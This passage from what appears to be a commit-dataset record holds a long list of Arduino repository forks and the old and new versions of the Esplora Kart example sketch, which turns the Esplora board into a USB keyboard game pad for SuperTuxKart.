example.........\n","repos":"PaoloP74\/Arduino,gberl001\/Arduino,Gourav2906\/Arduino,NicoHood\/Arduino,ms-iot\/Arduino,laylthe\/Arduino,NaSymbol\/Arduino,shiitakeo\/Arduino,UDOOboard\/Arduino,pdNor\/Arduino,lulufei\/Arduino,Protoneer\/Arduino,tommyli2014\/Arduino,ikbelkirasan\/Arduino,gurbrinder\/Arduino,PaoloP74\/Arduino,shannonshsu\/Arduino,pdNor\/Arduino,henningpohl\/Arduino,jaehong\/Xmegaduino,stevemarple\/Arduino-org,danielchalef\/Arduino,stevemayhew\/Arduino,pdNor\/Arduino,tannewt\/Arduino,adamkh\/Arduino,Cloudino\/Cloudino-Arduino-IDE,Alfredynho\/AgroSis,zaiexx\/Arduino,stevemayhew\/Arduino,ari-analytics\/Arduino,mc-hamster\/esp8266-Arduino,mattvenn\/Arduino,jamesrob4\/Arduino,smily77\/Arduino,PeterVH\/Arduino,ssvs111\/Arduino,vbextreme\/Arduino,NeuralSpaz\/Arduino,andrealmeidadomingues\/Arduino,superboonie\/Arduino,jabezGit\/Arduino,NaSymbol\/Arduino,niggor\/Arduino_cc,mc-hamster\/esp8266-Arduino,ssvs111\/Arduino,Protoneer\/Arduino,odbol\/Arduino,shannonshsu\/Arduino,stickbreaker\/Arduino,Cloudino\/Cloudino-Arduino-IDE,PaoloP74\/Arduino,diydrones\/Arduino,eggfly\/arduino,PeterVH\/Arduino,mateuszdw\/Arduino,ari-analytics\/Arduino,ccoenen\/Arduino,aichi\/Arduino-2,gestrem\/Arduino,plaintea\/esp8266-Arduino,tomkrus007\/Arduino,tomkrus007\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,mangelajo\/Arduino,toddtreece\/esp8266-Arduino,ikbelkirasan\/Arduino,Chris--A\/Arduino,acosinwork\/Arduino,onovy\/Arduino,NaSymbol\/Arduino,Cloudino\/Cloudino-Arduino-IDE,smily77\/Arduino,bsmr-arduino\/Arduino,karlitxo\/Arduino,lukeWal\/Arduino,talhaburak\/Arduino,ms-iot\/Arduino,SmartArduino\/Arduino-1,ForestNymph\/Arduino_sources,paulmand3l\/Arduino,tskurauskas\/Arduino,eggfly\/arduino,drpjk\/Arduino,chaveiro\/Arduino,mangelajo\/Arduino,cscenter\/Arduino,zederson\/Arduino,Cloudino\/Arduino,eduardocasarin\/Arduino,nandojve\/Arduino,damellis\/Arduino,mateuszdw\/Arduino,ccoenen\/Arduino,smily77\/Arduino,steamboating\/Arduino,xxxajk\/Arduino-1,andrealmeidadomingues\/Arduino,lukeWal\/Arduino,spapadim\/Arduino,benwolfe\/esp8266-Arduino,rodibot\/Arduino,ogferreiro\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,bugobliterator\/BUAGI,gberl001\/Arduino,381426068\/Arduino,lulufei\/Arduino,ms-iot\/Arduino,jaej-dev\/Arduino,koltegirish\/Arduino,sanyaade-iot\/Arduino-1,smily77\/Arduino,tskurauskas\/Arduino,sanyaade-iot\/Arduino-1,ogahara\/Arduino,superboonie\/Arduino,probonopd\/Arduino,myrtleTree33\/Arduino,stickbreaker\/Arduino,piersoft\/esp8266-Arduino,adamkh\/Arduino,rcook\/DesignLab,niggor\/Arduino_cc,pdNor\/Arduino,stickbreaker\/Arduino,Cloudino\/Arduino,noahchense\/Arduino-1,byran\/Arduino,wayoda\/Arduino,Orthogonal-Systems\/arduino-libs,eggfly\/arduino,smily77\/Arduino,danielchalef\/Arduino,drpjk\/Arduino,jaimemaretoli\/Arduino,jaimemaretoli\/Arduino,stickbreaker\/Arduino,jaej-dev\/Arduino,steamboating\/Arduino,ashwin713\/Arduino,zaiexx\/Arduino,rcook\/DesignLab,koltegirish\/Arduino,adafruit\/ESP8266-Arduino,spapadim\/Arduino,probonopd\/Arduino,zaiexx\/Arduino,381426068\/Arduino,paulo-raca\/ESP8266-Arduino,lulufei\/Arduino,gestrem\/Arduino,tbowmo\/Arduino,HCastano\/Arduino,lulufei\/Arduino,cscenter\/Arduino,championswimmer\/Arduino,OpenDevice\/Arduino,weera00\/Arduino,henningpohl\/Arduino,gberl001\/Arduino,adamkh\/Arduino,leftbrainstrain\/Arduino-ESP8266,noahchense\/Arduino-1,KlaasDeNys\/Arduino,byran\/Arduino,zederson\/Arduino,stickbreaker\/Arduino,nandojve\/Arduino,NicoHood\/Arduino,wilhelmryan\/Arduino,arunkuttiyara\/Arduino,gberl001\/Arduino,PeterVH\/Arduino,HCastano\/Arduino,mattvenn\/Arduino,shannonshsu\/Arduino,fungxu\/Arduino,odbol\/Arduino,Chris--A\/Arduino,scdls\/Arduino,bigjosh\/Arduino,stevemarple\/Arduino-org,eduardocasarin\/Arduino,SmartArduino\/Arduino-1,jaej-dev\/Arduino,ntruchsess\/Arduino-1,ntruchsess\/Arduino-1,plinioseniore\/Arduino,eggfly\/arduino,plinioseniore\/Arduino,zaiexx\/Arduino,KlaasDeNys\/Arduino,garci66\/Arduino,vbextreme\/Arduino,linino\/Arduino,benwolfe\/esp8266-Arduino,raimohanska\/Arduino,eeijcea\/Arduino-1,jomolinare\/Arduino,lukeWal\/Arduino,bigjosh\/Arduino,NeuralSpaz\/Arduino,shannonshsu\/Arduino,tskurauskas\/Arduino,zenmanenergy\/Arduino,ccoenen\/Arduino,rcook\/DesignLab,linino\/Arduino,shiitakeo\/Arduino,plaintea\/esp8266-Arduino,toddtreece\/esp8266-Arduino,odbol\/Arduino,rcook\/DesignLab,KlaasDeNys\/Arduino,gberl001\/Arduino,mc-hamster\/esp8266-Arduino,zederson\/Arduino,snargledorf\/Arduino,jaimemaretoli\/Arduino,spapadim\/Arduino,chaveiro\/Arduino,tomkrus007\/Arduino,leftbrainstrain\/Arduino-ESP8266,aichi\/Arduino-2,ThoughtWorksIoTGurgaon\/Arduino,stevemayhew\/Arduino,PaoloP74\/Arduino,pdNor\/Arduino,mangelajo\/Arduino,paulo-raca\/ESP8266-Arduino,acosinwork\/Arduino,ssvs111\/Arduino,smily77\/Arduino,lukeWal\/Arduino,jmgonzalez00449\/Arduino,tannewt\/Arduino,sanyaade-iot\/Arduino-1,noahchense\/Arduino-1,mboufos\/esp8266-Arduino,ikbelkirasan\/Arduino,byran\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,NicoHood\/Arduino,tommyli2014\/Arduino,leftbrainstrain\/Arduino-ESP8266,gestrem\/Arduino,ricklon\/Arduino,adamkh\/Arduino,eeijcea\/Arduino-1,radut\/Arduino,benwolfe\/esp8266-Arduino,majenkotech\/Arduino,sanyaade-iot\/Arduino-1,onovy\/Arduino,KlaasDeNys\/Arduino,karlitxo\/Arduino,bugobliterator\/BUAGI,tommyli2014\/Arduino,stevemayhew\/Arduino,paulo-raca\/ESP8266-Arduino,ogahara\/Arduino,cscenter\/Arduino,leftbrainstrain\/Arduino-ESP8266,talhaburak\/Arduino,vbextreme\/Arduino,henningpohl\/Arduino,weera00\/Arduino,chaveiro\/Arduino,adafruit\/ESP8266-Arduino,benwolfe\/esp8266-Arduino,danielchalef\/Arduino,jaimemaretoli\/Arduino,noahchense\/Arduino-1,byran\/Arduino,me-no-dev\/Arduino-1,UDOOboard\/Arduino,stevemayhew\/Arduino,PaintYourDragon\/Arduino,adamkh\/Arduino,Chris--A\/Arduino,EmuxEvans\/Arduino,raimohanska\/Arduino,ogferreiro\/Arduino,talhaburak\/Arduino,Cloudino\/Cloudino-Arduino-IDE,niggor\/Arduino_cc,NicoHood\/Arduino,NeuralSpaz\/Arduino,andyvand\/Arduino-1,zaiexx\/Arduino,karlitxo\/Arduino,gestrem\/Arduino,nkolban\/Arduino,tomkrus007\/Arduino,jaehong\/Xmegaduino,nandojve\/Arduino,jabezGit\/Arduino,weera00\/Arduino,zenmanenergy\/Arduino,ari-analytics\/Arduino,PeterVH\/Arduino,toddtreece\/esp8266-Arduino,PaintYourDragon\/Arduino,jaehong\/Xmegaduino,gonium\/Arduino,jaej-dev\/Arduino,zaiexx\/Arduino,jomolinare\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,shannonshsu\/Arduino,gonium\/Arduino,HCastano\/Arduino,probonopd\/Arduino,Chris--A\/Arduino,xxxajk\/Arduino-1,SmartArduino\/Arduino-1,UDOOboard\/Arduino,drpjk\/Arduino,jaej-dev\/Arduino,gurbrinder\/Arduino,nkolban\/Arduino,OpenDevice\/Arduino,PaintYourDragon\/Arduino,raimohanska\/Arduino,damellis\/Arduino,gurbrinder\/Arduino,wayoda\/Arduino,Alfredynho\/AgroSis,nkolban\/Arduino,wdoganowski\/Arduino,superboonie\/Arduino,NicoHood\/Arduino,andrealmeidadomingues\/Arduino,stevemayhew\/Arduino,andrealmeidadomingues\/Arduino,nandojve\/Arduino,vbextreme\/Arduino,jaimemaretoli\/Arduino,xxxajk\/Arduino-1,scdls\/Arduino,jmgonzalez00449\/Arduino,eddyst\/Arduino-SourceCode,mateuszdw\/Arduino,fungxu\/Arduino,snargledorf\/Arduino,ForestNymph\/Arduino_sources,koltegirish\/Arduino,gurbrinder\/Arduino,danielchalef\/Arduino,UDOOboard\/Arduino,jaehong\/Xmegaduino,EmuxEvans\/Arduino,me-no-dev\/Arduino-1,SmartArduino\/Arduino-1,mangelajo\/Arduino,ricklon\/Arduino,NicoHood\/Arduino,tbowmo\/Arduino,aichi\/Arduino-2,drpjk\/Arduino,lukeWal\/Arduino,bsmr-arduino\/Arduino,noahchense\/Arduino-1,gonium\/Arduino,wayoda\/Arduino,tommyli2014\/Arduino,tbowmo\/Arduino,linino\/Arduino,championswimmer\/Arduino,381426068\/Arduino,bsmr-arduino\/Arduino,diydrones\/Arduino,Protoneer\/Arduino,ektor5\/Arduino,talhaburak\/Arduino,cscenter\/Arduino,jamesrob4\/Arduino,jabezGit\/Arduino,KlaasDeNys\/Arduino,NeuralSpaz\/Arduino,jamesrob4\/Arduino,radut\/Arduino,NaSymbol\/Arduino,ms-iot\/Arduino,linino\/Arduino,majenkotech\/Arduino,rodibot\/Arduino,Gourav2906\/Arduino,eddyst\/Arduino-SourceCode,damellis\/Arduino,talhaburak\/Arduino,Protoneer\/Arduino,scdls\/Arduino,mattvenn\/Arduino,diydrones\/Arduino,wdoganowski\/Arduino,pdNor\/Arduino,Protoneer\/Arduino,nkolban\/Arduino,jomolinare\/Arduino,mateuszdw\/Arduino,Protoneer\/Arduino,UDOOboard\/Arduino,weera00\/Arduino,championswimmer\/Arduino,damellis\/Arduino,diydrones\/Arduino,scdls\/Arduino,eggfly\/arduino,snargledorf\/Arduino,probonopd\/Arduino,arunkuttiyara\/Arduino,weera00\/Arduino,KlaasDeNys\/Arduino,arunkuttiyara\/Arduino,Alfredynho\/AgroSis,OpenDevice\/Arduino,rodibot\/Arduino,pdNor\/Arduino,stevemarple\/Arduino-org,UDOOboard\/Arduino,tbowmo\/Arduino,mc-hamster\/esp8266-Arduino,talhaburak\/Arduino,onovy\/Arduino,plinioseniore\/Arduino,aichi\/Arduino-2,eeijcea\/Arduino-1,bigjosh\/Arduino,jmgonzalez00449\/Arduino,aichi\/Arduino-2,ikbelkirasan\/Arduino,majenkotech\/Arduino,HCastano\/Arduino,EmuxEvans\/Arduino,radut\/Arduino,andrealmeidadomingues\/Arduino,drpjk\/Arduino,shiitakeo\/Arduino,radut\/Arduino,bigjosh\/Arduino,ricklon\/Arduino,paulo-raca\/ESP8266-Arduino,kidswong999\/Arduino,koltegirish\/Arduino,Alfredynho\/AgroSis,adamkh\/Arduino,shiitakeo\/Arduino,snargledorf\/Arduino,NaSymbol\/Arduino,tskurauskas\/Arduino,plaintea\/esp8266-Arduino,paulo-raca\/ESP8266-Arduino,kidswong999\/Arduino,jaej-dev\/Arduino,me-no-dev\/Arduino-1,ricklon\/Arduino,mangelajo\/Arduino,paulo-raca\/ESP8266-Arduino,byran\/Arduino,me-no-dev\/Arduino-1,vbextreme\/Arduino,byran\/Arduino,ccoenen\/Arduino,steamboating\/Arduino,Gourav2906\/Arduino,ntruchsess\/Arduino-1,fungxu\/Arduino,Chris--A\/Arduino,vbextreme\/Arduino,kidswong999\/Arduino,steamboating\/Arduino,ricklon\/Arduino,chaveiro\/Arduino,01org\/Arduino,arduino-org\/Arduino,bugobliterator\/BUAGI,paulmand3l\/Arduino,Orthogonal-Systems\/arduino-libs,Cloudino\/Arduino,ricklon\/Arduino,01org\/Arduino,majenkotech\/Arduino,niggor\/Arduino_cc,niggor\/Arduino_cc,mateuszdw\/Arduino,talhaburak\/Arduino,gonium\/Arduino,linino\/Arduino,andyvand\/Arduino-1,KlaasDeNys\/Arduino,xxxajk\/Arduino-1,laylthe\/Arduino,andyvand\/Arduino-1,PaintYourDragon\/Arduino,SmartArduino\/Arduino-1,onovy\/Arduino,zenmanenergy\/Arduino,NeuralSpaz\/Arduino,koltegirish\/Arduino,kidswong999\/Arduino,eeijcea\/Arduino-1,snargledorf\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,ccoenen\/Arduino,bigjosh\/Arduino,stickbreaker\/Arduino,henningpohl\/Arduino,diydrones\/Arduino,fungxu\/Arduino,plinioseniore\/Arduino,nandojve\/Arduino,Gourav2906\/Arduino,shiitakeo\/Arduino,zederson\/Arduino,myrtleTree33\/Arduino,arduino-org\/Arduino,benwolfe\/esp8266-Arduino,majenkotech\/Arduino,jomolinare\/Arduino,kidswong999\/Arduino,Ramoonus\/Arduino,Alfredynho\/AgroSis,weera00\/Arduino,wayoda\/Arduino,NeuralSpaz\/Arduino,zenmanenergy\/Arduino,nandojve\/Arduino,onovy\/Arduino,stevemarple\/Arduino-org,wilhelmryan\/Arduino,bugobliterator\/BUAGI,EmuxEvans\/Arduino,jomolinare\/Arduino,xxxajk\/Arduino-1,jaimemaretoli\/Arduino,gurbrinder\/Arduino,andrealmeidadomingues\/Arduino,ektor5\/Arduino,tskurauskas\/Arduino,diydrones\/Arduino,ektor5\/Arduino,gurbrinder\/Arduino,tannewt\/Arduino,eddyst\/Arduino-SourceCode,tannewt\/Arduino,chaveiro\/Arduino,lukeWal\/Arduino,superboonie\/Arduino,Ramoonus\/Arduino,Cloudino\/Cloudino-Arduino-IDE,karlitxo\/Arduino,niggor\/Arduino_cc,wayoda\/Arduino,spapadim\/Arduino,arduino-org\/Arduino,adafruit\/ESP8266-Arduino,acosinwork\/Arduino,eddyst\/Arduino-SourceCode,ogahara\/Arduino,PeterVH\/Arduino,majenkotech\/Arduino,danielchalef\/Arduino,gonium\/Arduino,raimohanska\/Arduino,ssvs111\/Arduino,drpjk\/Arduino,ashwin713\/Arduino,OpenDevice\/Arduino,myrtleTree33\/Arduino,shannonshsu\/Arduino,Cloudino\/Cloudino-Arduino-IDE,HCastano\/Arduino,xxxajk\/Arduino-1,arduino-org\/Arduino,rcook\/DesignLab,championswimmer\/Arduino,bigjosh\/Arduino,paulo-raca\/ESP8266-Arduino,381426068\/Arduino,jmgonzalez00449\/Arduino,superboonie\/Arduino,me-no-dev\/Arduino-1,damellis\/Arduino,gberl001\/Arduino,jmgonzalez00449\/Arduino,ForestNymph\/Arduino_sources,Ramoonus\/Arduino,piersoft\/esp8266-Arduino,xxxajk\/Arduino-1,Cloudino\/Cloudino-Arduino-IDE,EmuxEvans\/Arduino,henningpohl\/Arduino,ms-iot\/Arduino,ntruchsess\/Arduino-1,steamboating\/Arduino,jamesrob4\/Arduino,kidswong999\/Arduino,jaimemaretoli\/Arduino,karlitxo\/Arduino,jabezGit\/Arduino,arduino-org\/Arduino,lukeWal\/Arduino,eduardocasarin\/Arduino,stevemarple\/Arduino-org,NicoHood\/Arduino,paulmand3l\/Arduino,rcook\/DesignLab,mattvenn\/Arduino,shiitakeo\/Arduino,andyvand\/Arduino-1,PaoloP74\/Arduino,adamkh\/Arduino,acosinwork\/Arduino,probonopd\/Arduino,fungxu\/Arduino,nkolban\/Arduino,vbextreme\/Arduino,probonopd\/Arduino,sanyaade-iot\/Arduino-1,laylthe\/Arduino,jabezGit\/Arduino,mateuszdw\/Arduino,ashwin713\/Arduino,ntruchsess\/Arduino-1,ogferreiro\/Arduino,Cloudino\/Arduino,tomkrus007\/Arduino,garci66\/Arduino,scdls\/Arduino,ccoenen\/Arduino,paulmand3l\/Arduino,myrtleTree33\/Arduino,adafruit\/ESP8266-Arduino,mboufos\/esp8266-Arduino,PeterVH\/Arduino,Protoneer\/Arduino,fungxu\/Arduino,weera00\/Arduino,zaiexx\/Arduino,jamesrob4\/Arduino,laylthe\/Arduino,jaehong\/Xmegaduino,drpjk\/Arduino,danielchalef\/Arduino,eeijcea\/Arduino-1,UDOOboard\/Arduino,jabezGit\/Arduino,scdls\/Arduino,adamkh\/Arduino,ashwin713\/Arduino,01org\/Arduino,arunkuttiyara\/Arduino,mattvenn\/Arduino,jamesrob4\/Arduino,zenmanenergy\/Arduino,zaiexx\/Arduino,ricklon\/Arduino,plaintea\/esp8266-Arduino,zenmanenergy\/Arduino,spapadim\/Arduino,tbowmo\/Arduino,ashwin713\/Arduino,leftbrainstrain\/Arduino-ESP8266,ntruchsess\/Arduino-1,tommyli2014\/Arduino,eggfly\/arduino,steamboating\/Arduino,PaoloP74\/Arduino,ashwin713\/Arduino,wdoganowski\/Arduino,raimohanska\/Arduino,bigjosh\/Arduino,PaintYourDragon\/Arduino,rcook\/DesignLab,garci66\/Arduino,OpenDevice\/Arduino,noahchense\/Arduino-1,NaSymbol\/Arduino,NicoHood\/Arduino,noahchense\/Arduino-1,superboonie\/Arduino,mangelajo\/Arduino,tommyli2014\/Arduino,ari-analytics\/Arduino,lulufei\/Arduino,plinioseniore\/Arduino,wilhelmryan\/Arduino,tbowmo\/Arduino,arduino-org\/Arduino,stevemayhew\/Arduino,tomkrus007\/Arduino,ssvs111\/Arduino,Gourav2906\/Arduino,zederson\/Arduino,laylthe\/Arduino,shiitakeo\/Arduino,01org\/Arduino,probonopd\/Arduino,bsmr-arduino\/Arduino,mateuszdw\/Arduino,chaveiro\/Arduino,Gourav2906\/Arduino,Chris--A\/Arduino,odbol\/Arduino,Orthogonal-Systems\/arduino-libs,nkolban\/Arduino,ogahara\/Arduino,bsmr-arduino\/Arduino,jamesrob4\/Arduino,ogahara\/Arduino,arunkuttiyara\/Arduino,ikbelkirasan\/Arduino,mboufos\/esp8266-Arduino,mc-hamster\/esp8266-Arduino,stickbreaker\/Arduino,ForestNymph\/Arduino_sources,ms-iot\/Arduino,Cloudino\/Arduino,radut\/Arduino,eeijcea\/Arduino-1,zederson\/Arduino,paulmand3l\/Arduino,ari-analytics\/Arduino,ikbelkirasan\/Arduino,ssvs111\/Arduino,plinioseniore\/Arduino,danielchalef\/Arduino,jmgonzalez00449\/Arduino,PaoloP74\/Arduino,sanyaade-iot\/Arduino-1,odbol\/Arduino,jomolinare\/Arduino,henningpohl\/Arduino,lukeWal\/Arduino,eggfly\/arduino,ForestNymph\/Arduino_sources,superboonie\/Arduino,381426068\/Arduino,wdoganowski\/Arduino,niggor\/Arduino_cc,eddyst\/Arduino-SourceCode,NaSymbol\/Arduino,andyvand\/Arduino-1,arduino-org\/Arduino,wilhelmryan\/Arduino,talhaburak\/Arduino,ogahara\/Arduino,me-no-dev\/Arduino-1,me-no-dev\/Arduino-1,tannewt\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,tommyli2014\/Arduino,eduardocasarin\/Arduino,piersoft\/esp8266-Arduino,Cloudino\/Arduino,mboufos\/esp8266-Arduino,OpenDevice\/Arduino,EmuxEvans\/Arduino,ccoenen\/Arduino,gberl001\/Arduino,eeijcea\/Arduino-1,ektor5\/Arduino,wilhelmryan\/Arduino,mangelajo\/Arduino,SmartArduino\/Arduino-1,fungxu\/Arduino,arunkuttiyara\/Arduino,Chris--A\/Arduino,ari-analytics\/Arduino,jabezGit\/Arduino,wdoganowski\/Arduino,mattvenn\/Arduino,Cloudino\/Arduino,eduardocasarin\/Arduino,niggor\/Arduino_cc,PeterVH\/Arduino,tbowmo\/Arduino,radut\/Arduino,ari-analytics\/Arduino,ektor5\/Arduino,andyvand\/Arduino-1,smily77\/Arduino,PeterVH\/Arduino,chaveiro\/Arduino,ashwin713\/Arduino,zederson\/Arduino,garci66\/Arduino,bigjosh\/Arduino,381426068\/Arduino,381426068\/Arduino,xxxajk\/Arduino-1,acosinwork\/Arduino,Gourav2906\/Arduino,tannewt\/Arduino,eddyst\/Arduino-SourceCode,kidswong999\/Arduino,ogferreiro\/Arduino,paulmand3l\/Arduino,tskurauskas\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,acosinwork\/Arduino,wdoganowski\/Arduino,Gourav2906\/Arduino,stevemarple\/Arduino-org,koltegirish\/Arduino,jomolinare\/Arduino,karlitxo\/Arduino,jaimemaretoli\/Arduino,ari-analytics\/Arduino,andyvand\/Arduino-1,raimohanska\/Arduino,NeuralSpaz\/Arduino,garci66\/Arduino,eduardocasarin\/Arduino,01org\/Arduino,vbextreme\/Arduino,damellis\/Arduino,ssvs111\/Arduino,henningpohl\/Arduino,laylthe\/Arduino,odbol\/Arduino,rodibot\/Arduino,rodibot\/Arduino,gonium\/Arduino,Alfredynho\/AgroSis,adafruit\/ESP8266-Arduino,PaintYourDragon\/Arduino,kidswong999\/Arduino,cscenter\/Arduino,championswimmer\/Arduino,arunkuttiyara\/Arduino,byran\/Arduino,Ramoonus\/Arduino,myrtleTree33\/Arduino,ektor5\/Arduino,garci66\/Arduino,plaintea\/esp8266-Arduino,myrtleTree33\/Arduino,aichi\/Arduino-2,leftbrainstrain\/Arduino-ESP8266,jaej-dev\/Arduino,niggor\/Arduino_cc,gonium\/Arduino,wdoganowski\/Arduino,piersoft\/esp8266-Arduino,bugobliterator\/BUAGI,wayoda\/Arduino,bsmr-arduino\/Arduino,wayoda\/Arduino,tbowmo\/Arduino,acosinwork\/Arduino,steamboating\/Arduino,gestrem\/Arduino,Ramoonus\/Arduino,bugobliterator\/BUAGI,nandojve\/Arduino,PaoloP74\/Arduino,Alfredynho\/AgroSis,EmuxEvans\/Arduino,cscenter\/Arduino,damellis\/Arduino,wilhelmryan\/Arduino,andrealmeidadomingues\/Arduino,tskurauskas\/Arduino,OpenDevice\/Arduino,KlaasDeNys\/Arduino,stevemarple\/Arduino-org,koltegirish\/Arduino,acosinwork\/Arduino,eggfly\/arduino,nkolban\/Arduino,zenmanenergy\/Arduino,ogferreiro\/Arduino,snargledorf\/Arduino,majenkotech\/Arduino,henningpohl\/Arduino,karlitxo\/Arduino,spapadim\/Arduino,me-no-dev\/Arduino-1,scdls\/Arduino,bsmr-arduino\/Arduino,gurbrinder\/Arduino,garci66\/Arduino,chaveiro\/Arduino,ntruchsess\/Arduino-1,jmgonzalez00449\/Arduino,linino\/Arduino,wilhelmryan\/Arduino,ashwin713\/Arduino,odbol\/Arduino,NaSymbol\/Arduino,HCastano\/Arduino,onovy\/Arduino,tomkrus007\/Arduino,tskurauskas\/Arduino,nandojve\/Arduino,snargledorf\/Arduino,wayoda\/Arduino,cscenter\/Arduino,01org\/Arduino,jaehong\/Xmegaduino,bsmr-arduino\/Arduino,championswimmer\/Arduino,plinioseniore\/Arduino,eduardocasarin\/Arduino,HCastano\/Arduino,gestrem\/Arduino,tomkrus007\/Arduino,arduino-org\/Arduino,SmartArduino\/Arduino-1,aichi\/Arduino-2,sanyaade-iot\/Arduino-1,adafruit\/ESP8266-Arduino,cscenter\/Arduino,superboonie\/Arduino,onovy\/Arduino,laylthe\/Arduino,eddyst\/Arduino-SourceCode,stevemarple\/Arduino-org,Chris--A\/Arduino,shannonshsu\/Arduino,garci66\/Arduino,ikbelkirasan\/Arduino,rodibot\/Arduino,paulmand3l\/Arduino,shannonshsu\/Arduino,spapadim\/Arduino,byran\/Arduino,jabezGit\/Arduino,ntruchsess\/Arduino-1,pdNor\/Arduino,radut\/Arduino,tannewt\/Arduino,ForestNymph\/Arduino_sources,piersoft\/esp8266-Arduino,gestrem\/Arduino,ccoenen\/Arduino,mboufos\/esp8266-Arduino,lulufei\/Arduino,ForestNymph\/Arduino_sources,raimohanska\/Arduino,Ramoonus\/Arduino,leftbrainstrain\/Arduino-ESP8266,mattvenn\/Arduino,ogferreiro\/Arduino,ikbelkirasan\/Arduino,eddyst\/Arduino-SourceCode,myrtleTree33\/Arduino,jaehong\/Xmegaduino,adafruit\/ESP8266-Arduino,lulufei\/Arduino,ogahara\/Arduino,jmgonzalez00449\/Arduino,ogferreiro\/Arduino,HCastano\/Arduino,stevemayhew\/Arduino","old_file":"libraries\/Esplora\/examples\/EsploraKart\/EsploraKart.ino","new_file":"libraries\/Esplora\/examples\/EsploraKart\/EsploraKart.ino","new_contents":"\/*\n Esplora Kart\n\n This sketch turns the Esplora into a PC game pad.\n\n It uses the both the analog joystick and the four switches.\n By moving the joystick in a direction or by pressing a switch,\n the PC will \"see\" that a key is pressed. If the PC is running\n a game that has keyboard input, the Esplora can control it.\n \n The default configuration is suitable for SuperTuxKart, an\n open-source racing game. It can be downloaded from\n http:\/\/supertuxkart.sourceforge.net\/ .\n\n Created on 22 november 2012\n By Enrico Gueli <enrico.gueli@gmail.com>\n*\/\n\n\n#include <Esplora.h>\n\n\/*\n You're going to handle eight different buttons. You'll use arrays, \n which are ordered lists of variables with a fixed size. Each array \n has an index (counting from 0) to keep track of the position\n you're reading in the array, and each position can contain a number.\n \n This code uses three different arrays: one for the buttons you'll read;\n a second to hold the current states of those buttons; and a third to hold\n the keystrokes associated with each button.\n *\/\n\n\/*\n This array holds the last sensed state of each of the buttons\n you're reading.\n Later in the code, you'll read the button states, and compare them\n to the previous states that are stored in this array. If the two\n states are different, it means that the button was either\n pressed or released.\n *\/\nboolean buttonStates[8];\n\n\/*\n This array holds the names of the buttons being read.\n Later in the sketch, you'll use these names with\n the method Esplora.readButton(x), where x\n is one of these buttons.\n *\/\nconst byte buttons[] = {\n JOYSTICK_DOWN,\n JOYSTICK_LEFT,\n JOYSTICK_UP,\n JOYSTICK_RIGHT,\n SWITCH_RIGHT, \/\/ fire\n SWITCH_LEFT, \/\/ bend\n SWITCH_UP, \/\/ nitro\n SWITCH_DOWN, \/\/ look back\n};\n\n\/*\n This array tells what keystroke to send to the PC when a\n button is pressed.\n If you look at this array and the above one, you can see that\n the \"cursor down\" keystroke is sent when the joystick is moved\n down, the \"cursor up\" keystroke when the joystick is moved up\n and so on.\n*\/\nconst char keystrokes[] = {\n KEY_DOWN_ARROW,\n KEY_LEFT_ARROW,\n KEY_UP_ARROW,\n KEY_RIGHT_ARROW,\n ' ',\n 'V',\n 'N',\n 'B'\n};\n\n\/*\n This is code is run only at startup, to initialize the\n virtual USB keyboard.\n*\/\nvoid setup() {\n Keyboard.begin();\n}\n\n\/*\n After setup() is finished, this code is run continuously.\n Here we continuously check if something happened with the\n buttons.\n*\/\nvoid loop() { \n \n \/\/ Iterate through all the buttons:\n for (byte thisButton=0; thisButton<8; thisButton++) {\n boolean lastState = buttonStates[thisButton];\n boolean newState = Esplora.readButton(buttons[thisButton]);\n if (lastState != newState) { \/\/ Something changed!\n \/* \n The Keyboard library allows you to \"press\" and \"release\" the\n keys as two distinct actions. These actions can be\n linked to the buttons we're handling.\n *\/\n if (newState == PRESSED) {\n Keyboard.press(keystrokes[thisButton]);\n }\n else if (newState == RELEASED) {\n Keyboard.release(keystrokes[thisButton]);\n }\n }\n\n \/\/ Store the new button state, so you can sense a difference later:\n buttonStates[thisButton] = newState;\n }\n \n \/*\n Wait a little bit (50ms) between a check and another.\n When a mechanical switch is pressed or released, the\n contacts may bounce very rapidly. If the check is done too\n fast, these bounces may be confused as multiple presses and\n may lead to unexpected behaviour.\n *\/\n delay(50);\n}\n\n","old_contents":"\/*\n Esplora Kart\n\n This sketch turns the Esplora into a PC game pad.\n\n It uses the both the analog joystick and the four switches.\n By moving the joystick in a direction or by pressing a switch,\n the PC will \"see\" that a key is pressed. If the PC is running\n a game that has keyboard input, the Esplora can control it.\n \n The default configuration is suitable for SuperTuxKart, an\n open-source racing game. It can be downloaded from\n http:\/\/supertuxkart.sourceforge.net\/ .\n\n Created on 22 november 2012\n By Enrico Gueli <enrico.gueli@gmail.com>\n*\/\n\n\n#include <Esplora.h>\n\n\/*\n You're going to handle eight different buttons. You'll use arrays, \n which are ordered lists of variables with a fixed size. Each array \n has an index (counting from 0) to keep track of the position\n you're reading in the array, and each position can contain a number.\n \n This code uses three different arrays: one for the buttons you'll read;\n a second to hold the current states of those buttons; and a third to hold\n the keystrokes associated with each button.\n *\/\n\n\/*\n This array holds the last sensed state of each of the buttons\n you're reading.\n Later in the code, you'll read the button states, and compare them\n to the previous states that are stored in this array. If the two\n states are different, it means that the button was either\n pressed or released.\n *\/\nboolean buttonStates[8];\n\n\/*\n This array holds the names of the buttons being read.\n Later in the sketch, you'll use these names with\n the method Esplora.readButton(x), where x\n is one of these buttons.\n *\/\nconst byte buttons[] = {\n JOYSTICK_DOWN,\n JOYSTICK_LEFT,\n JOYSTICK_UP,\n JOYSTICK_RIGHT,\n SWITCH_RIGHT, \/\/ fire\n SWITCH_LEFT, \/\/ bend\n SWITCH_UP, \/\/ nitro\n SWITCH_DOWN, \/\/ look back\n};\n\n\/*\n This array tells what keystroke to send to the PC when a\n button is pressed.\n If you look at this array and the above one, you can see that\n the \"cursor down\" keystroke is sent when the joystick is moved\n down, the \"cursor up\" keystroke when the joystick is moved up\n and so on.\n*\/\nconst char keystrokes[] = {\n KEY_DOWN_ARROW,\n KEY_LEFT_ARROW,\n KEY_UP_ARROW,\n KEY_RIGHT_ARROW,\n ' ',\n 'V',\n 'N',\n 'B'\n};\n\n\/*\n This is code is run only at startup, to initialize the\n virtual USB keyboard.\n*\/\nvoid setup() {\n Keyboard.begin();\n}\n\n\/*\n After setup() is finished, this code is run continuously.\n Here we continuously check if something happened with the\n buttons.\n*\/\nvoid loop() { \n \n \/\/ Iterate through all the 